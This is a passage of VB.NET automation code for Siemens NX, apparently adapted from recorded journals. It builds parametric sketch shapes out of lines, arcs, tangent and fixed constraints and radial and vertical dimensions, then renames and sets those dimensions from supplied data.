Session.UndoMarkId ' session_UndoMarkId11 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry7 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(objectArray2(0), Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry8 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint3 As SketchGeometricConstraint sketchGeometricConstraint3 = activeSketch.CreateEqualLengthConstraint(sketch_ConstraintGeometry7, sketch_ConstraintGeometry8) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Tools->Constraints->Show All Constraints ' ---------------------------------------------- activeSketch.VisibilityOfConstraints = Sketch.ConstraintVisibility.All ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: View->Refresh ' ---------------------------------------------- workPart.Views.Refresh() ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId12 As Session.UndoMarkId ' session_UndoMarkId12 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry9 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.ArcCenter, 0) Dim sketch_ConstraintGeometry10 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp5 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp5.type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp5.point.x = -0.0000000000000113930403739665 sketch_ConstraintGeometryHelp5.point.y = -1.50851019467025 sketch_ConstraintGeometryHelp5.point.z = 0 sketch_ConstraintGeometryHelp5.parameter = 0 sketch_ConstraintGeometryHelp5.point = Transform.Apply(sketch_ConstraintGeometryHelp5.point) Dim sketchHelpedGeometricConstraint1 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint1 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry9, sketch_ConstraintGeometry10, sketch_ConstraintGeometryHelp5) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Inferred... ' ---------------------------------------------- ' Dim session_UndoMarkId13 As Session.UndoMarkId ' session_UndoMarkId13 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' ---------------------------------------------- ' Menu: Insert->Dimensions->Inferred... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Inferred... ' ---------------------------------------------- ' Dim session_UndoMarkId14 As Session.UndoMarkId ' session_UndoMarkId14 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId15 As Session.UndoMarkId ' session_UndoMarkId15 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry1 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry1.geometry = arc1 sketch_DimensionGeometry1.AssocType = Sketch.AssocType.ArcCenter sketch_DimensionGeometry1.AssocValue = 0 Dim sketch_DimensionGeometry2 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry2.Geometry = arc2 sketch_DimensionGeometry2.AssocType = Sketch.AssocType.ArcCenter sketch_DimensionGeometry2.AssocValue = 0 Dim point3d11 As Point3d = Transform.Apply(New Point3d(2.714399046297, 0.654872497183542, 0)) Dim nullExpression As Expression = Nothing Dim sketchDimensionalConstraint1 As SketchDimensionalConstraint sketchDimensionalConstraint1 = activeSketch.CreateDimension(Sketch.ConstraintType.VerticalDim, sketch_DimensionGeometry1, sketch_DimensionGeometry2, point3d11, nullExpression) Dim dimension1 As Annotations.Dimension dimension1 = sketchDimensionalConstraint1.AssociatedDimension Dim expression1 As Expression expression1 = sketchDimensionalConstraint1.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId16 As Session.UndoMarkId ' session_UndoMarkId16 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression1.RightHandSide = "2.8" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Inferred... ' ---------------------------------------------- ' Dim session_UndoMarkId17 As Session.UndoMarkId ' session_UndoMarkId17 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId18 As Session.UndoMarkId ' session_UndoMarkId18 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry3 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry3.Geometry = arc2 sketch_DimensionGeometry3.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry3.AssocValue = 65 Dim point3d12 As Point3d = Transform.Apply(New Point3d(2.6005081772216, -2.19239922970142, 0)) Dim sketchDimensionalConstraint2 As SketchDimensionalConstraint sketchDimensionalConstraint2 = activeSketch.CreateRadialDimension(sketch_DimensionGeometry3, point3d12, nullExpression) Dim dimension2 As Annotations.Dimension dimension2 = sketchDimensionalConstraint2.AssociatedDimension Dim expression2 As Expression expression2 = sketchDimensionalConstraint2.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId19 As Session.UndoMarkId ' session_UndoMarkId19 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression2.RightHandSide = "1.6" ' activeSketch.Update() ' Dim session_UndoMarkId20 As Session.UndoMarkId ' session_UndoMarkId20 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry4 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry4.Geometry = arc1 sketch_DimensionGeometry4.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry4.AssocValue = 35 Dim point3d13 As Point3d = Transform.Apply(New Point3d(1.57549035554301, 3.00861712474178, 0)) Dim sketchDimensionalConstraint3 As SketchDimensionalConstraint sketchDimensionalConstraint3 = activeSketch.CreateRadialDimension(sketch_DimensionGeometry4, point3d13, nullExpression) Dim dimension3 As Annotations.Dimension dimension3 = sketchDimensionalConstraint3.AssociatedDimension Dim expression3 As Expression expression3 = sketchDimensionalConstraint3.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId21 As Session.UndoMarkId ' session_UndoMarkId21 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression3.RightHandSide = ".6" ' Change location of arc arc2.SetParameters(arc2.Radius, Transform.Apply(New Point3d(0, 0, 0)), arc2.StartAngle, arc2.EndAngle) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Tools->Journal->Stop ' ---------------------------------------------- Dim undoMark As Session.UndoMarkId = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "change dimensions") Try expression1.SetName(dimensionData(0).name) expression2.SetName(dimensionData(1).name) expression3.SetName(dimensionData(2).name) Catch ex As Exception System.Windows.Forms.MessageBox.Show("Undoing change names of expressions because of the following errors:" & Chr(10) & ex.ToString()) theSession.UndoToMark(undoMark, Nothing) activeSketch.Update() Exit Sub End Try theSession.DeleteUndoMark(undoMark, Nothing) undoMark = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "change dimensions") Try expression1.RightHandSide = dimensionData(0).rhs expression2.RightHandSide = dimensionData(1).rhs expression3.RightHandSide = dimensionData(2).rhs Catch ex As Exception System.Windows.Forms.MessageBox.Show("Undoing change values of expressions because of the following errors:" & Chr(10) & ex.ToString()) theSession.UndoToMark(undoMark, Nothing) activeSketch.Update() Exit Sub End Try theSession.DeleteUndoMark(undoMark, Nothing) activeSketch.Update() End Sub End Class ' Creates shape 2 Public Class Shape2Creator Inherits ShapeCreator Implements IShapeCreator Public Sub New(ByVal session As Session, ByVal ufSession As NXOpen.UF.UFSession) MyBase.New(session, ufSession) End Sub Public Sub Execute(ByVal dimensionData() As DimensionData) Implements IShapeCreator.Execute theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create shape 2") ' NX 3.0.0.10 ' Journal created by vlucas on Fri Mar 05 19:56:32 2004 Eastern Standard Time ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' Dim session_UndoMarkId1 As Session.UndoMarkId ' ' session_UndoMarkId1 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId2 As Session.UndoMarkId ' session_UndoMarkId2 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId2, "Curve", Session.MarkVisibility.Visible) Dim point3d1 As Point3d = Transform.Apply(New Point3d(0, 1, 0)) Dim point3d2 As Point3d = Transform.Apply(New Point3d(0, -1, 0)) Dim line1 As Line line1 = workPart.Curves.CreateLine(point3d1, point3d2) activeSketch.AddGeometry(line1, Sketch.InferConstraintsOption.InferCoincidentConstraints) theUFSession.Sket.SetReferenceStatus(activeSketch.Tag, line1.Tag, NXOpen.UF.UFSket.ReferenceStatus.Reference) Dim sketch_ConstraintGeometry1 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint1 As SketchGeometricConstraint sketchGeometricConstraint1 = activeSketch.CreateVerticalConstraint(sketch_ConstraintGeometry1) ' ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' Dim session_UndoMarkId3 As Session.UndoMarkId ' session_UndoMarkId3 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId3, "Curve", Session.MarkVisibility.Visible) Dim point3d3 As Point3d = Transform.Apply(New Point3d(-1, 0, 0)) Dim point3d4 As Point3d = Transform.Apply(New Point3d(1, 0, 0)) Dim line2 As Line line2 = workPart.Curves.CreateLine(point3d3, point3d4) activeSketch.AddGeometry(line2, Sketch.InferConstraintsOption.InferCoincidentConstraints) theUFSession.Sket.SetReferenceStatus(activeSketch.Tag, line2.Tag, NXOpen.UF.UFSket.ReferenceStatus.Reference) Dim sketch_ConstraintGeometry2 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint2 As SketchGeometricConstraint sketchGeometricConstraint2 = activeSketch.CreateHorizontalConstraint(sketch_ConstraintGeometry2) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Tools->Constraints->Show All Constraints ' ---------------------------------------------- activeSketch.VisibilityOfConstraints = Sketch.ConstraintVisibility.All ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId4 As Session.UndoMarkId ' session_UndoMarkId4 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry3 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.EndVertex, 0) Dim sketchGeometricConstraint3 As SketchGeometricConstraint sketchGeometricConstraint3 = activeSketch.CreateFixedConstraint(sketch_ConstraintGeometry3) ' activeSketch.Update() ' Dim session_UndoMarkId5 As Session.UndoMarkId ' session_UndoMarkId5 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry4 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.StartVertex, 0) Dim sketchGeometricConstraint4 As SketchGeometricConstraint sketchGeometricConstraint4 = activeSketch.CreateFixedConstraint(sketch_ConstraintGeometry4) ' activeSketch.Update() ' Dim session_UndoMarkId6 As Session.UndoMarkId ' session_UndoMarkId6 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry5 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.StartVertex, 0) Dim sketchGeometricConstraint5 As SketchGeometricConstraint sketchGeometricConstraint5 = activeSketch.CreateFixedConstraint(sketch_ConstraintGeometry5) ' activeSketch.Update() ' Dim session_UndoMarkId7 As Session.UndoMarkId ' session_UndoMarkId7 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry6 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.EndVertex, 0) Dim sketchGeometricConstraint6 As SketchGeometricConstraint sketchGeometricConstraint6 = activeSketch.CreateFixedConstraint(sketch_ConstraintGeometry6) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Profile... ' ---------------------------------------------- ' Dim session_UndoMarkId8 As Session.UndoMarkId ' session_UndoMarkId8 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId9 As Session.UndoMarkId ' session_UndoMarkId9 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId9, "Curve", Session.MarkVisibility.Visible) Dim point3d5 As Point3d = Transform.Apply(New Point3d(0.5, 1.3, 0)) Dim point3d6 As Point3d = Transform.Apply(New Point3d(3.3007412794916, 0.224896151364085, 0)) Dim line3 As Line line3 = workPart.Curves.CreateLine(point3d5, point3d6) activeSketch.AddGeometry(line3, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' Dim session_UndoMarkId10 As Session.UndoMarkId ' session_UndoMarkId10 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId10, "Curve", Session.MarkVisibility.Visible) Dim point3d7 As Point3d = Transform.Apply(New Point3d(3.14601150386288, -0.17818869510881, 0)) Dim nXMatrix1 As NXMatrix = CType(workPart.FindObject("NXMATRIX WCS"), NXMatrix) Dim arc1 As Arc arc1 = workPart.Curves.CreateArc(point3d7, nXMatrix1, 0.431762315310393, 5.0789081233035, 7.48746249105567) activeSketch.AddGeometry(arc1, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry7 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp1 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp1.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp1.Point.X = 3.3007412794916 sketch_ConstraintGeometryHelp1.Point.Y = 0.224896151364085 sketch_ConstraintGeometryHelp1.Point.Z = 0 sketch_ConstraintGeometryHelp1.Parameter = 0 sketch_ConstraintGeometryHelp1.Point = Transform.Apply(sketch_ConstraintGeometryHelp1.Point) Dim sketch_ConstraintGeometry8 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp2 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp2.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp2.Point.X = 3.3007412794916 sketch_ConstraintGeometryHelp2.Point.Y = 0.224896151364085 sketch_ConstraintGeometryHelp2.Point.Z = 0 sketch_ConstraintGeometryHelp2.Parameter = 0 sketch_ConstraintGeometryHelp2.Point = Transform.Apply(sketch_ConstraintGeometryHelp2.Point) Dim sketchTangentConstraint1 As SketchTangentConstraint sketchTangentConstraint1 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry7, sketch_ConstraintGeometryHelp1, sketch_ConstraintGeometry8, sketch_ConstraintGeometryHelp2) ' activeSketch.Update() ' Dim session_UndoMarkId11 As Session.UndoMarkId ' session_UndoMarkId11 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId11, "Curve", Session.MarkVisibility.Visible) Dim point3d8 As Point3d = Transform.Apply(New Point3d(3.3007412794916, -0.581273541581705, 0)) Dim point3d9 As Point3d = Transform.Apply(New Point3d(0.5, -1.65637739021762, 0)) Dim line4 As Line line4 = workPart.Curves.CreateLine(point3d8, point3d9) activeSketch.AddGeometry(line4, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry9 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line4, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp3 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp3.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp3.Point.X = 3.3007412794916 sketch_ConstraintGeometryHelp3.Point.Y = -0.581273541581705 sketch_ConstraintGeometryHelp3.Point.Z = 0 sketch_ConstraintGeometryHelp3.Parameter = 0 sketch_ConstraintGeometryHelp3.Point = Transform.Apply(sketch_ConstraintGeometryHelp3.Point) Dim sketch_ConstraintGeometry10 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp4 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp4.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp4.Point.X = 3.3007412794916 sketch_ConstraintGeometryHelp4.Point.Y = -0.581273541581705 sketch_ConstraintGeometryHelp4.Point.Z = 0 sketch_ConstraintGeometryHelp4.Parameter = 0 sketch_ConstraintGeometryHelp4.Point = Transform.Apply(sketch_ConstraintGeometryHelp4.Point) Dim sketchTangentConstraint2 As SketchTangentConstraint sketchTangentConstraint2 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry9, sketch_ConstraintGeometryHelp3, sketch_ConstraintGeometry10, sketch_ConstraintGeometryHelp4) Dim lineRefHoriz As Line lineRefHoriz = workPart.Curves.CreateLine(point3d6, point3d8) activeSketch.AddGeometry(lineRefHoriz) theUFSession.Sket.SetReferenceStatus(activeSketch.Tag, lineRefHoriz.Tag, NXOpen.UF.UFSket.ReferenceStatus.Reference) activeSketch.CreateParallelConstraint(New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0), New Sketch.ConstraintGeometry(lineRefHoriz, Sketch.ConstraintPointType.None, 0)) 'activeSketch.CreateMidpointConstraint( _ ' New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.EndVertex, 0), _ ' New Sketch.ConstraintGeometry(lineRefHoriz, Sketch.ConstraintPointType.None, 0)) ' activeSketch.Update() ' Dim session_UndoMarkId12 As Session.UndoMarkId ' session_UndoMarkId12 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId12, "Curve", Session.MarkVisibility.Visible) Dim point3d10 As Point3d = Transform.Apply(New Point3d(-0.114527475229205, -0.0554785845441552, 0)) Dim arc2 As Arc arc2 = workPart.Curves.CreateArc(point3d10, nXMatrix1, 1.71479474101664, 4.34586983746587, 5.0789081233035) activeSketch.AddGeometry(arc2, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry11 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp5 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp5.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp5.Point.X = 0.5 sketch_ConstraintGeometryHelp5.Point.Y = -1.65637739021762 sketch_ConstraintGeometryHelp5.Point.Z = 0 sketch_ConstraintGeometryHelp5.Parameter = 0 sketch_ConstraintGeometryHelp5.Point = Transform.Apply(sketch_ConstraintGeometryHelp5.Point) Dim sketch_ConstraintGeometry12 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line4, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp6 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp6.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp6.Point.X = 0.5 sketch_ConstraintGeometryHelp6.Point.Y = -1.65637739021762 sketch_ConstraintGeometryHelp6.Point.Z = 0 sketch_ConstraintGeometryHelp6.Parameter = 0 sketch_ConstraintGeometryHelp6.Point = Transform.Apply(sketch_ConstraintGeometryHelp6.Point) Dim sketchTangentConstraint3 As SketchTangentConstraint sketchTangentConstraint3 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry11, sketch_ConstraintGeometryHelp5, sketch_ConstraintGeometry12, sketch_ConstraintGeometryHelp6) ' activeSketch.Update() ' Dim session_UndoMarkId13 As Session.UndoMarkId ' session_UndoMarkId13 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId13, "Curve", Session.MarkVisibility.Visible) Dim point3d11 As Point3d = Transform.Apply(New Point3d(-0.72905495045841, -1.65637739021762, 0)) Dim point3d12 As Point3d = Transform.Apply(New Point3d(-3.91685997167487, -0.432693691867289, 0)) Dim line5 As Line line5 = workPart.Curves.CreateLine(point3d11, point3d12) activeSketch.AddGeometry(line5, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry13 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line5, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp7 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp7.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp7.Point.X = -0.72905495045841 sketch_ConstraintGeometryHelp7.Point.Y = -1.65637739021762 sketch_ConstraintGeometryHelp7.Point.Z = 0 sketch_ConstraintGeometryHelp7.Parameter = 0 sketch_ConstraintGeometryHelp7.Point = Transform.Apply(sketch_ConstraintGeometryHelp7.Point) Dim sketch_ConstraintGeometry14 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp8 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp8.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp8.Point.X = -0.72905495045841 sketch_ConstraintGeometryHelp8.Point.Y = -1.65637739021762 sketch_ConstraintGeometryHelp8.Point.Z = 0 sketch_ConstraintGeometryHelp8.Parameter = 0 sketch_ConstraintGeometryHelp8.Point = Transform.Apply(sketch_ConstraintGeometryHelp8.Point) Dim sketchTangentConstraint4 As SketchTangentConstraint sketchTangentConstraint4 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry13, sketch_ConstraintGeometryHelp7, sketch_ConstraintGeometry14, sketch_ConstraintGeometryHelp8) ' activeSketch.Update() ' Dim session_UndoMarkId14 As Session.UndoMarkId ' session_UndoMarkId14 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId14, "Curve", Session.MarkVisibility.Visible) Dim point3d13 As Point3d = Transform.Apply(New Point3d(-3.79498289817369, -0.115193060452482, 0)) Dim arc3 As Arc arc3 = workPart.Curves.CreateArc(point3d13, nXMatrix1, 0.340089211816567, 1.5707963267949, 4.34586983746587) activeSketch.AddGeometry(arc3, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry15 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp9 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp9.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp9.Point.X = -3.91685997167487 sketch_ConstraintGeometryHelp9.Point.Y = -0.432693691867289 sketch_ConstraintGeometryHelp9.Point.Z = 0 sketch_ConstraintGeometryHelp9.Parameter = 0 sketch_ConstraintGeometryHelp9.Point = Transform.Apply(sketch_ConstraintGeometryHelp9.Point) Dim sketch_ConstraintGeometry16 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line5, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp10 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp10.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp10.Point.X = -3.91685997167487 sketch_ConstraintGeometryHelp10.Point.Y = -0.432693691867289 sketch_ConstraintGeometryHelp10.Point.Z = 0 sketch_ConstraintGeometryHelp10.Parameter = 0 sketch_ConstraintGeometryHelp10.Point = Transform.Apply(sketch_ConstraintGeometryHelp10.Point) Dim sketchTangentConstraint5 As SketchTangentConstraint sketchTangentConstraint5 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry15, sketch_ConstraintGeometryHelp9, sketch_ConstraintGeometry16, sketch_ConstraintGeometryHelp10) ' activeSketch.Update() ' Dim session_UndoMarkId15 As Session.UndoMarkId ' session_UndoMarkId15 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' ---------------------------------------------- ' Menu: Insert->Profile... ' ---------------------------------------------- ' theSession.DeleteUndoMark(session_UndoMarkId15, "Curve") ' ---------------------------------------------- ' Menu: Insert->Profile... ' ---------------------------------------------- ' Dim session_UndoMarkId16 As Session.UndoMarkId ' session_UndoMarkId16 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId17 As Session.UndoMarkId ' session_UndoMarkId17 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId17, "Curve", Session.MarkVisibility.Visible) Dim point3d14 As Point3d = Transform.Apply(New Point3d(0.5, 1.3, 0)) Dim point3d15 As Point3d = Transform.Apply(New Point3d(-0.0160065359780682, 1.39563615855661, 0)) Dim point3d16 As Point3d = Transform.Apply(New Point3d(-0.532013071956136, 1.3, 0)) Dim boolean1 As Boolean Dim arc4 As Arc arc4 = workPart.Curves.CreateArc(point3d14, point3d15, point3d16, False, boolean1) activeSketch.AddGeometry(arc4, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry17 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc4, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp11 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp11.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp11.Point.X = 0.144703624215053 sketch_ConstraintGeometryHelp11.Point.Y = 1.43638550044227 sketch_ConstraintGeometryHelp11.Point.Z = 0 sketch_ConstraintGeometryHelp11.Parameter = 0 sketch_ConstraintGeometryHelp11.Point = Transform.Apply(sketch_ConstraintGeometryHelp11.Point) Dim sketch_ConstraintGeometry18 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp12 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp12.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp12.Point.X = 0.144703624215053 sketch_ConstraintGeometryHelp12.Point.Y = 1.43638550044227 sketch_ConstraintGeometryHelp12.Point.Z = 0 sketch_ConstraintGeometryHelp12.Parameter = 0 sketch_ConstraintGeometryHelp12.Point = Transform.Apply(sketch_ConstraintGeometryHelp12.Point) Dim sketchTangentConstraint6 As SketchTangentConstraint sketchTangentConstraint6 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry17, sketch_ConstraintGeometryHelp11, sketch_ConstraintGeometry18, sketch_ConstraintGeometryHelp12) ' activeSketch.Update() ' Dim session_UndoMarkId18 As Session.UndoMarkId ' session_UndoMarkId18 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId18, "Curve", Session.MarkVisibility.Visible) Dim point3d17 As Point3d = Transform.Apply(New Point3d(-0.532013071956136, 1.3, 0)) Dim point3d18 As Point3d = Transform.Apply(New Point3d(-3.79498289817369, 0.242316822460833, 0)) Dim line6 As Line line6 = workPart.Curves.CreateLine(point3d17, point3d18) activeSketch.AddGeometry(line6, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry19 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line6, Sketch.ConstraintPointType.EndVertex, 0) Dim sketch_ConstraintGeometry20 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.StartVertex, 0) Dim sketchGeometricConstraint7 As SketchGeometricConstraint sketchGeometricConstraint7 = activeSketch.CreateCoincidentConstraint(sketch_ConstraintGeometry19, sketch_ConstraintGeometry20) Dim sketch_ConstraintGeometry21 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line6, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp13 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp13.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp13.Point.X = -3.89985022526211 sketch_ConstraintGeometryHelp13.Point.Y = 0.208324351294315 